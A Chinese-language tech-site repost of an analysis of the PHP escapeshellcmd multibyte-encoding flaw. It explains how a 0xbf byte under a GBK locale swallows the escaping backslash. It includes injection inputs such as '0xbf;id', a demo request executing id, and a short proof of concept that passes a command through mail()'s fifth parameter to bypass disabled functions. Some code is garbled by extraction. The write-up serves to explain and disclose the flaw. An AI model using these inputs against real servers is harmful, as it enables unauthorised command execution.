欢迎您访问我爱IT技术网,今天小编为你分享的编程技术是:【php escapeshellcmd多字节编码漏洞】,下面是详细的分享!
php escapeshellcmd多字节编码漏洞
漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt
PHP 5 <=5.2.5
PHP 4 <=4.4.8
一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。
这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:
| char*php_escape_shell_cmd(char*str){ registerintx,y,l; char*cmd; char*p=NULL; l=strlen(str); cmd=safe_emalloc(2,l,1); for(x=0,y=0;x<l;x++){ switch(str[x]){ case'"': case''': #ifndefPHP_WIN32 if(!p&&(p=memchr(str+x+1,str[x],l-x-1))){ }elseif(p&&*p==str[x]){ p=NULL; }else{ cmd[y++]=''; } cmd[y++]=str[x]; break; #endif case'#': case'&': case';': case'`': case'|': case'*': case'?': case'~': case'<': case'>': case'^': case'(': case')': case'[': case']': case'{': case'}': case'$': case'': case'x0A': case'xFF': #ifdefPHP_WIN32 case'%': cmd[y++]=''; break; #endif cmd[y++]=''; default: cmd[y++]=str[x]; } } cmd[y]=''; returncmd; } |
可以看到,php通过将",',#,&,;.....等等在shell命令行里有特殊意义的字符都通过在前面加上变成".',#,&,;......来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:
|
<?php |
很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:
| echo hello;id |
;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:
| echo hello;id |
这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。
事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等......而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。
大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:
| 0xbf;id 或 0xbf'id |
经过php的escapeshellcmd单字节转码之后将会是
|
0xbf5c;id 0xbf5c'id |
注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是
| [0xbfbc];id |
很好,后面的id将会被执行。可以做个简单的实验,如下:
| [loveshell@Loveshelltmp]$echo?lt;br />> ? [loveshell@Loveshelltmp]$set|grep-ilang LANG=zh_CN.GB2312 LANGVAR=en_US.UTF-8 [loveshell@Loveshelltmp]$exportLANG=zh_CN.GBK [loveshell@Loveshelltmp]$echo?lt;br />?lt;br />[loveshell@Loveshelltmp]$set|grep-ilang LANG=zh_CN.GBK LANGVAR=en_US.UTF-8 [loveshell@Loveshelltmp]$ |
其中康谋嗦胛?xbf5c,可以看到在不设置LANG为GBK的时候渴且桓龇欠ǖ膅b2312编码,所以会被认为是两个字符,所以其中含有的0x5c起作用,被认为命令没结束。然后我们设置编码为GBK,烤突岜蝗衔?且桓鲎址?磂cho了。
那我们如何来证明php的漏洞呢,拿
| <?php $e=escapeshellcmd($_GET[c]); //herewedon'tcareif$ehasspaces system("echo$e"); ?> |
作为例子,正常情况下上面的代码工作很好,我们提交
| exp.php?c=loveshell%bf;id |
结果返回
| loveshell?id |
我们再来稍微改下上面的代码
| <?php putenv("LANG=zh_CN.GBK"); $e=escapeshellcmd($_GET[c]); //herewedon'tcareif$ehasspaces system("echo$e"); ?> |
php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:
| loveshell?uid=99(nobody) gid=4294967295 groups=4294967295 |
命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。
mail函数一些代码片段如下:
|
...... |
这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:
| ...... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } #ifdefPHP_WIN32 sendmail=popen(sendmail_cmd,"wb"); #else errno=0; sendmail=popen(sendmail_cmd,"w"); ...... |
extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:
| putenv<?php //phpdisablefunctionbypassvul //byStefanEsser //pocbyLoveshell ("LANG=zh_CN.GBK"); mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]); ?> |
可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。
这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射....这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要,',|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问题,譬如
| SJIS [x20-x7e]|[xa1-xdf]|([x81-x9f]|[xe0-xef])([x40-x7e]|[x80-xfc]) |
x40-x7e就包括了x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。
以上所分享的是关于php escapeshellcmd多字节编码漏洞,下面是编辑为你推荐的有价值的用户互动:
相关问题:PHP运行EXEC文件
答:在PHP中调用外部命令,可以用如下三种方法来实现: 1) 用PHP提供的专门函数 PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函数很其它... >>详细
相关问题:向各位大神求addslashes()函数和escapeshellcmd()...
答:addslashes http://www.w3school.com.cn/php/func_string_addslashes.asp escapeshellcmd 这个函数适用于执行系统命令使用的 http://www.itlearner.com/code/php/function.php-escapeshellcmd.php >>详细
相关问题:向各位大神求addslashes()函数和escapeshellcmd()...
答:addslashes() 对 单引号,双引号,反斜杠 转意 使其前面加一个\ 防sql注入 一般对POST或GET来的数据使用 escapeshellcmd() 对是 , # ,&等,也就是编码字符 前 加一个\ 貌似对是PHP系统?的一种安全过滤 我理解是对PHP服务环境的安全过滤。(个人... >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
